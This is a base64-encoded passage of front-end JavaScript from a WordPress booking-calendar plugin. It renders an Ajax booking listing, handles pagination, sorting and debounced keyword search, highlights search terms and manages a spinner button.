LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xyXG5cclxuLyoqXHJcbiAqIFNob3cgTGlzdGluZyBUYWJsZSBcdFx0YW5kIGRlZmluZSBnTWFpbCBjaGVja2JveCBob29rc1xyXG4gKlxyXG4gKiBAcGFyYW0ganNvbl9pdGVtc19hcnJcdFx0LSBKU09OIG9iamVjdCB3aXRoIEl0ZW1zXHJcbiAqIEBwYXJhbSBqc29uX3NlYXJjaF9wYXJhbXNcdC0gSlNPTiBvYmplY3Qgd2l0aCBTZWFyY2hcclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfYWp4X2Jvb2tpbmdfc2hvd19saXN0aW5nKCBqc29uX2l0ZW1zX2FyciwganNvbl9zZWFyY2hfcGFyYW1zLCBqc29uX2Jvb2tpbmdfcmVzb3VyY2VzICl7XHJcblxyXG5cdHdwYmNfYWp4X2RlZmluZV90ZW1wbGF0ZXNfX3Jlc291cmNlX21hbmlwdWxhdGlvbigganNvbl9pdGVtc19hcnIsIGpzb25fc2VhcmNoX3BhcmFtcywganNvbl9ib29raW5nX3Jlc291cmNlcyApO1xyXG5cclxuLy9jb25zb2xlLmxvZyggJ2pzb25faXRlbXNfYXJyJyAsIGpzb25faXRlbXNfYXJyLCBqc29uX3NlYXJjaF9wYXJhbXMgKTtcclxuXHRqUXVlcnkoICcud3BiY19hanhfdW5kZXJfdG9vbGJhcl9yb3cnICkuY3NzKCBcImRpc3BsYXlcIiwgXCJmbGV4XCIgKTtcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vRml4SW46IDkuNi4xLjVcclxuXHR2YXIgbGlzdF9oZWFkZXJfdHBsID0gd3AudGVtcGxhdGUoICd3cGJjX2FqeF9ib29raW5nX2xpc3RfaGVhZGVyJyApO1xyXG5cdHZhciBsaXN0X3Jvd190cGwgICAgPSB3cC50ZW1wbGF0ZSggJ3dwYmNfYWp4X2Jvb2tpbmdfbGlzdF9yb3cnICk7XHJcblxyXG5cclxuXHQvLyBIZWFkZXJcclxuXHRqUXVlcnkoIHdwYmNfYWp4X2Jvb2tpbmdfbGlzdGluZy5nZXRfb3RoZXJfcGFyYW0oICdsaXN0aW5nX2NvbnRhaW5lcicgKSApLmh0bWwoIGxpc3RfaGVhZGVyX3RwbCgpICk7XHJcblxyXG5cdC8vIEJvZHlcclxuXHRqUXVlcnkoIHdwYmNfYWp4X2Jvb2tpbmdfbGlzdGluZy5nZXRfb3RoZXJfcGFyYW0oICdsaXN0aW5nX2NvbnRhaW5lcicgKSApLmFwcGVuZCggJzxkaXYgY2xhc3M9XCJ3cGJjX3NlbGVjdGFibGVfYm9keVwiPjwvZGl2PicgKTtcclxuXHJcblx0Ly8gUiBvIHcgc1xyXG5jb25zb2xlLmdyb3VwQ29sbGFwc2VkKCAnTElTVElOR19ST1dTJyApO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBMSVNUSU5HX1JPV1NcclxuXHRfLmVhY2goIGpzb25faXRlbXNfYXJyLCBmdW5jdGlvbiAoIHBfdmFsLCBwX2tleSwgcF9kYXRhICl7XHJcblx0XHRpZiAoICd1bmRlZmluZWQnICE9PSB0eXBlb2YganNvbl9zZWFyY2hfcGFyYW1zWyAna2V5d29yZCcgXSApe1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gUGFyYW1ldGVyIGZvciBtYXJraW5nIGtleXdvcmQgd2l0aCBkaWZmZXJlbnQgY29sb3IgaW4gYSBsaXN0XHJcblx0XHRcdHBfdmFsWyAnX19zZWFyY2hfcmVxdWVzdF9rZXl3b3JkX18nIF0gPSBqc29uX3NlYXJjaF9wYXJhbXNbICdrZXl3b3JkJyBdO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0cF92YWxbICdfX3NlYXJjaF9yZXF1ZXN0X2tleXdvcmRfXycgXSA9ICcnO1xyXG5cdFx0fVxyXG5cdFx0cF92YWxbICdib29raW5nX3Jlc291cmNlcycgXSA9IGpzb25fYm9va2luZ19yZXNvdXJjZXM7XHJcblx0XHRqUXVlcnkoIHdwYmNfYWp4X2Jvb2tpbmdfbGlzdGluZy5nZXRfb3RoZXJfcGFyYW0oICdsaXN0aW5nX2NvbnRhaW5lcicgKSArICcgLndwYmNfc2VsZWN0YWJsZV9ib2R5JyApLmFwcGVuZCggbGlzdF9yb3dfdHBsKCBwX3ZhbCApICk7XHJcblx0fSApO1xyXG5jb25zb2xlLmdyb3VwRW5kKCk7IFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gTElTVElOR19ST1dTXHJcblxyXG5cdHdwYmNfZGVmaW5lX2dtYWlsX2NoZWNrYm94X3NlbGVjdGlvbiggalF1ZXJ5ICk7XHRcdFx0XHRcdFx0Ly8gUmVkZWZpbmUgSG9va3MgZm9yIGNsaWNraW5nIGF0IENoZWNrYm94ZXNcclxufVxyXG5cclxuXHJcblx0LyoqXHJcblx0ICogRGVmaW5lIHRlbXBsYXRlIGZvciBjaGFuZ2luZyBib29raW5nIHJlc291cmNlcyAmICB1cGRhdGUgaXQgZWFjaCB0aW1lLCAgd2hlbiAgbGlzdGluZyB1cGRhdGluZywgdXNlZnVsICBmb3Igc2hvd2luZyBhY3R1YWwgIGJvb2tpbmcgcmVzb3VyY2VzLlxyXG5cdCAqXHJcblx0ICogQHBhcmFtIGpzb25faXRlbXNfYXJyXHRcdC0gSlNPTiBvYmplY3Qgd2l0aCBJdGVtc1xyXG5cdCAqIEBwYXJhbSBqc29uX3NlYXJjaF9wYXJhbXNcdC0gSlNPTiBvYmplY3Qgd2l0aCBTZWFyY2hcclxuXHQgKiBAcGFyYW0ganNvbl9ib29raW5nX3Jlc291cmNlc1x0LSBKU09OIG9iamVjdCB3aXRoIFJlc291cmNlc1xyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfYWp4X2RlZmluZV90ZW1wbGF0ZXNfX3Jlc291cmNlX21hbmlwdWxhdGlvbigganNvbl9pdGVtc19hcnIsIGpzb25fc2VhcmNoX3BhcmFtcywganNvbl9ib29raW5nX3Jlc291cmNlcyApe1xyXG5cclxuXHRcdC8vIENoYW5nZSBib29raW5nIHJlc291cmNlXHJcblx0XHR2YXIgY2hhbmdlX2Jvb2tpbmdfcmVzb3VyY2VfdHBsID0gd3AudGVtcGxhdGUoICd3cGJjX2FqeF9jaGFuZ2VfYm9va2luZ19yZXNvdXJjZScgKTtcclxuXHJcblx0XHRqUXVlcnkoICcjd3BiY19oaWRkZW5fdGVtcGxhdGVfX2NoYW5nZV9ib29raW5nX3Jlc291cmNlJyApLmh0bWwoXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Y2hhbmdlX2Jvb2tpbmdfcmVzb3VyY2VfdHBsKCB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnYWp4X3NlYXJjaF9wYXJhbXMnICAgIDoganNvbl9zZWFyY2hfcGFyYW1zLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2FqeF9ib29raW5nX3Jlc291cmNlcyc6IGpzb25fYm9va2luZ19yZXNvdXJjZXNcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9IClcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCk7XHJcblxyXG5cdFx0Ly8gRHVwbGljYXRlIGJvb2tpbmcgcmVzb3VyY2VcclxuXHRcdHZhciBkdXBsaWNhdGVfYm9va2luZ190b19vdGhlcl9yZXNvdXJjZV90cGwgPSB3cC50ZW1wbGF0ZSggJ3dwYmNfYWp4X2R1cGxpY2F0ZV9ib29raW5nX3RvX290aGVyX3Jlc291cmNlJyApO1xyXG5cclxuXHRcdGpRdWVyeSggJyN3cGJjX2hpZGRlbl90ZW1wbGF0ZV9fZHVwbGljYXRlX2Jvb2tpbmdfdG9fb3RoZXJfcmVzb3VyY2UnICkuaHRtbChcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkdXBsaWNhdGVfYm9va2luZ190b19vdGhlcl9yZXNvdXJjZV90cGwoIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdhanhfc2VhcmNoX3BhcmFtcycgICAgOiBqc29uX3NlYXJjaF9wYXJhbXMsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnYWp4X2Jvb2tpbmdfcmVzb3VyY2VzJzoganNvbl9ib29raW5nX3Jlc291cmNlc1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH0gKVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0KTtcclxuXHR9XHJcblxyXG5cclxuLyoqXHJcbiAqIFNob3cganVzdCBtZXNzYWdlIGluc3RlYWQgb2YgbGlzdGluZyBhbmQgaGlkZSBwYWdpbmF0aW9uXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2FqeF9ib29raW5nX3Nob3dfbWVzc2FnZSggbWVzc2FnZSApe1xyXG5cclxuXHR3cGJjX2FqeF9ib29raW5nX19hY3R1YWxfbGlzdGluZ19faGlkZSgpO1xyXG5cclxuXHRqUXVlcnkoIHdwYmNfYWp4X2Jvb2tpbmdfbGlzdGluZy5nZXRfb3RoZXJfcGFyYW0oICdsaXN0aW5nX2NvbnRhaW5lcicgKSApLmh0bWwoXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCc8ZGl2IGNsYXNzPVwid3BiYy1zZXR0aW5ncy1ub3RpY2Ugbm90aWNlLXdhcm5pbmdcIiBzdHlsZT1cInRleHQtYWxpZ246bGVmdFwiPicgK1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdG1lc3NhZ2UgK1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnPC9kaXY+J1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdCk7XHJcbn1cclxuXHJcblxyXG4vKipcclxuICogICBIIG8gbyBrIHMgIC0gIGl0cyBBY3Rpb24vVGltZXMgd2hlbiBuZWVkIHRvIHJlLVJlbmRlciBWaWV3cyAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcbi8qKlxyXG4gKiBTZW5kIEFqYXggU2VhcmNoIFJlcXVlc3QgYWZ0ZXIgVXBkYXRpbmcgc2VhcmNoIHJlcXVlc3QgcGFyYW1ldGVyc1xyXG4gKlxyXG4gKiBAcGFyYW0gcGFyYW1zX2FyclxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19hanhfYm9va2luZ19zZW5kX3NlYXJjaF9yZXF1ZXN0X3dpdGhfcGFyYW1zICggcGFyYW1zX2FyciApe1xyXG5cclxuXHQvLyBEZWZpbmUgZGlmZmVyZW50IFNlYXJjaCAgcGFyYW1ldGVycyBmb3IgcmVxdWVzdFxyXG5cdF8uZWFjaCggcGFyYW1zX2FyciwgZnVuY3Rpb24gKCBwX3ZhbCwgcF9rZXksIHBfZGF0YSApIHtcclxuXHRcdC8vY29uc29sZS5sb2coICdSZXF1ZXN0IGZvcjogJywgcF9rZXksIHBfdmFsICk7XHJcblx0XHR3cGJjX2FqeF9ib29raW5nX2xpc3Rpbmcuc2VhcmNoX3NldF9wYXJhbSggcF9rZXksIHBfdmFsICk7XHJcblx0fSk7XHJcblxyXG5cdC8vIFNlbmQgQWpheCBSZXF1ZXN0XHJcblx0d3BiY19hanhfYm9va2luZ19hamF4X3NlYXJjaF9yZXF1ZXN0KCk7XHJcbn1cclxuXHJcbi8qKlxyXG4gKiBTZWFyY2ggcmVxdWVzdCBmb3IgXCJQYWdlIE51bWJlclwiXHJcbiAqIEBwYXJhbSBwYWdlX251bWJlclx0aW50XHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2FqeF9ib29raW5nX3BhZ2luYXRpb25fY2xpY2soIHBhZ2VfbnVtYmVyICl7XHJcblxyXG5cdHdwYmNfYWp4X2Jvb2tpbmdfc2VuZF9zZWFyY2hfcmVxdWVzdF93aXRoX3BhcmFtcygge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdCdwYWdlX251bSc6IHBhZ2VfbnVtYmVyXHJcblx0XHRcdFx0XHRcdFx0XHRcdH0gKTtcclxufVxyXG5cclxuXHJcbi8qKlxyXG4gKiAgIEtleXdvcmQgU2VhcmNoaW5nICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xyXG5cclxuLyoqXHJcbiAqIFNlYXJjaCByZXF1ZXN0IGZvciBcIktleXdvcmRcIiwgYWxzbyBzZXQgY3VycmVudCBwYWdlIHRvICAxXHJcbiAqXHJcbiAqIEBwYXJhbSBlbGVtZW50X2lkXHQtXHRIVE1MIElEICBvZiBlbGVtZW50LCAgd2hlcmUgd2FzIGVudGVyZWQga2V5d29yZFxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19hanhfYm9va2luZ19zZW5kX3NlYXJjaF9yZXF1ZXN0X2Zvcl9rZXl3b3JkKCBlbGVtZW50X2lkICkge1xyXG5cclxuXHQvLyBXZSBuZWVkIHRvIFJlc2V0IHBhZ2VfbnVtIHRvIDEgd2l0aCBlYWNoIG5ldyBzZWFyY2gsIGJlY2F1c2Ugd2UgY2FuIGJlIGF0IHBhZ2UgIzQsICBidXQgYWZ0ZXIgIG5ldyBzZWFyY2ggIHdlIGNhbiAgaGF2ZSB0b3RhbGx5ICBvbmx5ICAxIHBhZ2VcclxuXHR3cGJjX2FqeF9ib29raW5nX3NlbmRfc2VhcmNoX3JlcXVlc3Rfd2l0aF9wYXJhbXMoIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdrZXl3b3JkJyAgOiBqUXVlcnkoIGVsZW1lbnRfaWQgKS52YWwoKSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdwYWdlX251bSc6IDFcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHR9ICk7XHJcbn1cclxuXHJcblx0LyoqXHJcblx0ICogU2VuZCBzZWFyY2ggcmVxdWVzdCBhZnRlciBmZXcgc2Vjb25kcyAodXN1YWxseSBhZnRlciAxLDUgc2VjKVxyXG5cdCAqIENsb3N1cmUgZnVuY3Rpb24uIEl0cyB1c2VmdWwsICBmb3IgZG8gIG5vdCBzZW5kIHRvbyBtYW55IEFqYXggcmVxdWVzdHMsIHdoZW4gc29tZW9uZSBtYWtlIGZhc3QgdHlwaW5nLlxyXG5cdCAqL1xyXG5cdHZhciB3cGJjX2FqeF9ib29raW5nX3NlYXJjaGluZ19hZnRlcl9mZXdfc2Vjb25kcyA9IGZ1bmN0aW9uICgpe1xyXG5cclxuXHRcdHZhciBjbG9zZWRfdGltZXIgPSAwO1xyXG5cclxuXHRcdHJldHVybiBmdW5jdGlvbiAoIGVsZW1lbnRfaWQsIHRpbWVyX2RlbGF5ICl7XHJcblxyXG5cdFx0XHQvLyBHZXQgZGVmYXVsdCB2YWx1ZSBvZiBcInRpbWVyX2RlbGF5XCIsICBpZiBwYXJhbWV0ZXIgd2FzIG5vdCBwYXNzZWQgaW50byB0aGUgZnVuY3Rpb24uXHJcblx0XHRcdHRpbWVyX2RlbGF5ID0gdHlwZW9mIHRpbWVyX2RlbGF5ICE9PSAndW5kZWZpbmVkJyA/IHRpbWVyX2RlbGF5IDogMTUwMDtcclxuXHJcblx0XHRcdGNsZWFyVGltZW91dCggY2xvc2VkX3RpbWVyICk7XHRcdC8vIENsZWFyIHByZXZpb3VzIHRpbWVyXHJcblxyXG5cdFx0XHQvLyBTdGFydCBuZXcgVGltZXJcclxuXHRcdFx0Y2xvc2VkX3RpbWVyID0gc2V0VGltZW91dCggd3BiY19hanhfYm9va2luZ19zZW5kX3NlYXJjaF9yZXF1ZXN0X2Zvcl9rZXl3b3JkLmJpbmQoICBudWxsLCBlbGVtZW50X2lkICksIHRpbWVyX2RlbGF5ICk7XHJcblx0XHR9XHJcblx0fSgpO1xyXG5cclxuXHJcbi8qKlxyXG4gKiAgIERlZmluZSBEeW5hbWljIEhvb2tzICAobGlrZSBwYWdpbmF0aW9uIGNsaWNrLCB3aGljaCByZW5ldyBlYWNoIHRpbWUgd2l0aCBuZXcgbGlzdGluZyBzaG93aW5nKSAgLS0tLS0tLS0tLS0tLSAqL1xyXG5cclxuLyoqXHJcbiAqIERlZmluZSBIVE1MIHVpIEhvb2tzOiBvbiBLZXlVcCB8IENoYW5nZSB8IC0+IFNvcnQgT3JkZXIgJiBOdW1iZXIgSXRlbXMgLyBQYWdlXHJcbiAqIFdlIGFyZSBoY25hZ2VkIGl0IGVhY2ggIHRpbWUsIHdoZW4gc2hvd2luZyBuZXcgbGlzdGluZywgYmVjYXVzZSBET00gZWxlbWVudHMgY2huYWdlZFxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19hanhfYm9va2luZ19kZWZpbmVfdWlfaG9va3MoKXtcclxuXHJcblx0aWYgKCAnZnVuY3Rpb24nID09PSB0eXBlb2YoIHdwYmNfZGVmaW5lX3RpcHB5X3Rvb2x0aXBzICkgKSB7XHJcblx0XHR3cGJjX2RlZmluZV90aXBweV90b29sdGlwcyggJy53cGJjX2xpc3RpbmdfY29udGFpbmVyICcgKTtcclxuXHR9XHJcblxyXG5cdHdwYmNfYWp4X2Jvb2tpbmdfX3VpX2RlZmluZV9fbG9jYWxlKCk7XHJcblx0d3BiY19hanhfYm9va2luZ19fdWlfZGVmaW5lX19yZW1hcmsoKTtcclxuXHJcblx0Ly8gSXRlbXMgUGVyIFBhZ2VcclxuXHRqUXVlcnkoICcud3BiY19pdGVtc19wZXJfcGFnZScgKS5vbiggJ2NoYW5nZScsIGZ1bmN0aW9uKCBldmVudCApe1xyXG5cclxuXHRcdHdwYmNfYWp4X2Jvb2tpbmdfc2VuZF9zZWFyY2hfcmVxdWVzdF93aXRoX3BhcmFtcygge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3BhZ2VfaXRlbXNfY291bnQnICA6IGpRdWVyeSggdGhpcyApLnZhbCgpLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3BhZ2VfbnVtJzogMVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdH0gKTtcclxuXHR9ICk7XHJcblxyXG5cdC8vIFNvcnRpbmdcclxuXHRqUXVlcnkoICcud3BiY19pdGVtc19zb3J0X3R5cGUnICkub24oICdjaGFuZ2UnLCBmdW5jdGlvbiggZXZlbnQgKXtcclxuXHJcblx0XHR3cGJjX2FqeF9ib29raW5nX3NlbmRfc2VhcmNoX3JlcXVlc3Rfd2l0aF9wYXJhbXMoIHsnc29ydF90eXBlJzogalF1ZXJ5KCB0aGlzICkudmFsKCl9ICk7XHJcblx0fSApO1xyXG59XHJcblxyXG5cclxuLyoqXHJcbiAqICAgU2hvdyAvIEhpZGUgTGlzdGluZyAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovXHJcblxyXG4vKipcclxuICogIFNob3cgTGlzdGluZyBUYWJsZSBcdC0gXHRTZW5kaW5nIEFqYXggUmVxdWVzdFx0LVx0d2l0aCBwYXJhbWV0ZXJzIHRoYXQgIHdlIGVhcmx5ICBkZWZpbmVkIGluIFwid3BiY19hanhfYm9va2luZ19saXN0aW5nXCIgT2JqLlxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19hanhfYm9va2luZ19fYWN0dWFsX2xpc3RpbmdfX3Nob3coKXtcclxuXHJcblx0d3BiY19hanhfYm9va2luZ19hamF4X3NlYXJjaF9yZXF1ZXN0KCk7XHRcdFx0Ly8gU2VuZCBBamF4IFJlcXVlc3RcdC1cdHdpdGggcGFyYW1ldGVycyB0aGF0ICB3ZSBlYXJseSAgZGVmaW5lZCBpbiBcIndwYmNfYWp4X2Jvb2tpbmdfbGlzdGluZ1wiIE9iai5cclxufVxyXG5cclxuLyoqXHJcbiAqIEhpZGUgTGlzdGluZyBUYWJsZSAoIGFuZCBQYWdpbmF0aW9uIClcclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfYWp4X2Jvb2tpbmdfX2FjdHVhbF9saXN0aW5nX19oaWRlKCl7XHJcblx0alF1ZXJ5KCAnLndwYmNfYWp4X3VuZGVyX3Rvb2xiYXJfcm93JyApLmhpZGUoKTtcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvL0ZpeEluOiA5LjYuMS41XHJcblx0alF1ZXJ5KCB3cGJjX2FqeF9ib29raW5nX2xpc3RpbmcuZ2V0X290aGVyX3BhcmFtKCAnbGlzdGluZ19jb250YWluZXInICkgICAgKS5odG1sKCAnJyApO1xyXG5cdGpRdWVyeSggd3BiY19hanhfYm9va2luZ19saXN0aW5nLmdldF9vdGhlcl9wYXJhbSggJ3BhZ2luYXRpb25fY29udGFpbmVyJyApICkuaHRtbCggJycgKTtcclxufVxyXG5cclxuXHJcbi8qKlxyXG4gKiAgIFN1cHBvcnQgZnVuY3Rpb25zIGZvciBDb250ZW50IFRlbXBsYXRlIGRhdGEgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xyXG5cclxuLyoqXHJcbiAqIEhpZ2hsaWdodCBzdHJpbmdzLFxyXG4gKiBieSBpbnNlcnRpbmcgPHNwYW4gY2xhc3M9XCJmaWVsZHZhbHVlIG5hbWUgZmllbGRzZWFyY2h2YWx1ZVwiPi4uLjwvc3Bhbj4gaHRtbCAgZWxlbWVudHMgaW50byB0aGUgc3RyaW5nLlxyXG4gKiBAcGFyYW0ge3N0cmluZ30gYm9va2luZ19kZXRhaWxzIFx0LSBTb3VyY2Ugc3RyaW5nXHJcbiAqIEBwYXJhbSB7c3RyaW5nfSBib29raW5nX2tleXdvcmRcdC0gS2V5d29yZCB0byBoaWdobGlnaHRcclxuICogQHJldHVybnMge3N0cmluZ31cclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfZ2V0X2hpZ2hsaWdodGVkX3NlYXJjaF9rZXl3b3JkKCBib29raW5nX2RldGFpbHMsIGJvb2tpbmdfa2V5d29yZCApe1xyXG5cclxuXHRib29raW5nX2tleXdvcmQgPSBib29raW5nX2tleXdvcmQudHJpbSgpLnRvTG93ZXJDYXNlKCk7XHJcblx0aWYgKCAwID09IGJvb2tpbmdfa2V5d29yZC5sZW5ndGggKXtcclxuXHRcdHJldHVybiBib29raW5nX2RldGFpbHM7XHJcblx0fVxyXG5cclxuXHQvLyBIaWdobGlnaHQgc3Vic3RyaW5nIHdpdGhpbmcgSFRNTCB0YWdzIGluIFwiQ29udGVudCBvZiBib29raW5nIGZpZWxkcyBkYXRhXCIgLS0gZS5nLiBzdGFydGluZyBmcm9tICA+ICBhbmQgZW5kaW5nIHdpdGggPFxyXG5cdGxldCBrZXl3b3JkUmVnZXggPSBuZXcgUmVnRXhwKCBgZmllbGR2YWx1ZVtePD5dKj4oW148XSoke2Jvb2tpbmdfa2V5d29yZH1bXjxdKilgLCAnZ2ltJyApO1xyXG5cclxuXHQvL2xldCBtYXRjaGVzID0gWy4uLmJvb2tpbmdfZGV0YWlscy50b0xvd2VyQ2FzZSgpLm1hdGNoQWxsKCBrZXl3b3JkUmVnZXggKV07XHJcblx0bGV0IG1hdGNoZXMgPSBib29raW5nX2RldGFpbHMudG9Mb3dlckNhc2UoKS5tYXRjaEFsbCgga2V5d29yZFJlZ2V4ICk7XHJcblx0XHRtYXRjaGVzID0gQXJyYXkuZnJvbSggbWF0Y2hlcyApO1xyXG5cclxuXHRsZXQgc3RyaW5nc19hcnIgPSBbXTtcclxuXHRsZXQgcG9zX3ByZXZpb3VzID0gMDtcclxuXHRsZXQgc2VhcmNoX3Bvc19zdGFydDtcclxuXHRsZXQgc2VhcmNoX3Bvc19lbmQ7XHJcblxyXG5cdGZvciAoIGNvbnN0IG1hdGNoIG9mIG1hdGNoZXMgKXtcclxuXHJcblx0XHRzZWFyY2hfcG9zX3N0YXJ0ID0gbWF0Y2guaW5kZXggKyBtYXRjaFsgMCBdLnRvTG93ZXJDYXNlKCkuaW5kZXhPZiggJz4nLCAwICkgKyAxIDtcclxuXHJcblx0XHRzdHJpbmdzX2Fyci5wdXNoKCBib29raW5nX2RldGFpbHMuc3Vic3RyKCBwb3NfcHJldmlvdXMsIChzZWFyY2hfcG9zX3N0YXJ0IC0gcG9zX3ByZXZpb3VzKSApICk7XHJcblxyXG5cdFx0c2VhcmNoX3Bvc19lbmQgPSBib29raW5nX2RldGFpbHMudG9Mb3dlckNhc2UoKS5pbmRleE9mKCAnPCcsIHNlYXJjaF9wb3Nfc3RhcnQgKTtcclxuXHJcblx0XHRzdHJpbmdzX2Fyci5wdXNoKCAnPHNwYW4gY2xhc3M9XCJmaWVsZHZhbHVlIG5hbWUgZmllbGRzZWFyY2h2YWx1ZVwiPicgKyBib29raW5nX2RldGFpbHMuc3Vic3RyKCBzZWFyY2hfcG9zX3N0YXJ0LCAoc2VhcmNoX3Bvc19lbmQgLSBzZWFyY2hfcG9zX3N0YXJ0KSApICsgJzwvc3Bhbj4nICk7XHJcblxyXG5cdFx0cG9zX3ByZXZpb3VzID0gc2VhcmNoX3Bvc19lbmQ7XHJcblx0fVxyXG5cclxuXHRzdHJpbmdzX2Fyci5wdXNoKCBib29raW5nX2RldGFpbHMuc3Vic3RyKCBwb3NfcHJldmlvdXMsIChib29raW5nX2RldGFpbHMubGVuZ3RoIC0gcG9zX3ByZXZpb3VzKSApICk7XHJcblxyXG5cdHJldHVybiBzdHJpbmdzX2Fyci5qb2luKCAnJyApO1xyXG59XHJcblxyXG4vKipcclxuICogQ29udmVydCBzcGVjaWFsIEhUTUwgY2hhcmFjdGVycyAgIGZyb206XHQgJmFtcDsgXHQtPiBcdCZcclxuICpcclxuICogQHBhcmFtIHRleHRcclxuICogQHJldHVybnMgeyp9XHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2RlY29kZV9IVE1MX2VudGl0aWVzKCB0ZXh0ICl7XHJcblx0dmFyIHRleHRBcmVhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCggJ3RleHRhcmVhJyApO1xyXG5cdHRleHRBcmVhLmlubmVySFRNTCA9IHRleHQ7XHJcblx0cmV0dXJuIHRleHRBcmVhLnZhbHVlO1xyXG59XHJcblxyXG4vKipcclxuICogQ29udmVydCBUTyBzcGVjaWFsIEhUTUwgY2hhcmFjdGVycyAgIGZyb206XHQgJiBcdC0+IFx0JmFtcDtcclxuICpcclxuICogQHBhcmFtIHRleHRcclxuICogQHJldHVybnMgeyp9XHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2VuY29kZV9IVE1MX2VudGl0aWVzKHRleHQpIHtcclxuICB2YXIgdGV4dEFyZWEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCd0ZXh0YXJlYScpO1xyXG4gIHRleHRBcmVhLmlubmVyVGV4dCA9IHRleHQ7XHJcbiAgcmV0dXJuIHRleHRBcmVhLmlubmVySFRNTDtcclxufVxyXG5cclxuXHJcbi8qKlxyXG4gKiAgIFN1cHBvcnQgRnVuY3Rpb25zIC0gU3BpbiBJY29uIGluIEJ1dHRvbnMgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xyXG5cclxuLyoqXHJcbiAqIFNwaW4gYnV0dG9uIGluIEZpbHRlciB0b29sYmFyICAtICBTdGFydFxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19ib29raW5nX2xpc3RpbmdfcmVsb2FkX2J1dHRvbl9fc3Bpbl9zdGFydCgpe1xyXG5cdGpRdWVyeSggJyN3cGJjX2Jvb2tpbmdfbGlzdGluZ19yZWxvYWRfYnV0dG9uIC5tZW51X2ljb24ud3BiY19zcGluJykucmVtb3ZlQ2xhc3MoICd3cGJjX2FuaW1hdGlvbl9wYXVzZScgKTtcclxufVxyXG5cclxuLyoqXHJcbiAqIFNwaW4gYnV0dG9uIGluIEZpbHRlciB0b29sYmFyICAtICBQYXVzZVxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19ib29raW5nX2xpc3RpbmdfcmVsb2FkX2J1dHRvbl9fc3Bpbl9wYXVzZSgpe1xyXG5cdGpRdWVyeSggJyN3cGJjX2Jvb2tpbmdfbGlzdGluZ19yZWxvYWRfYnV0dG9uIC5tZW51X2ljb24ud3BiY19zcGluJyApLmFkZENsYXNzKCAnd3BiY19hbmltYXRpb25fcGF1c2UnICk7XHJcbn1cclxuXHJcb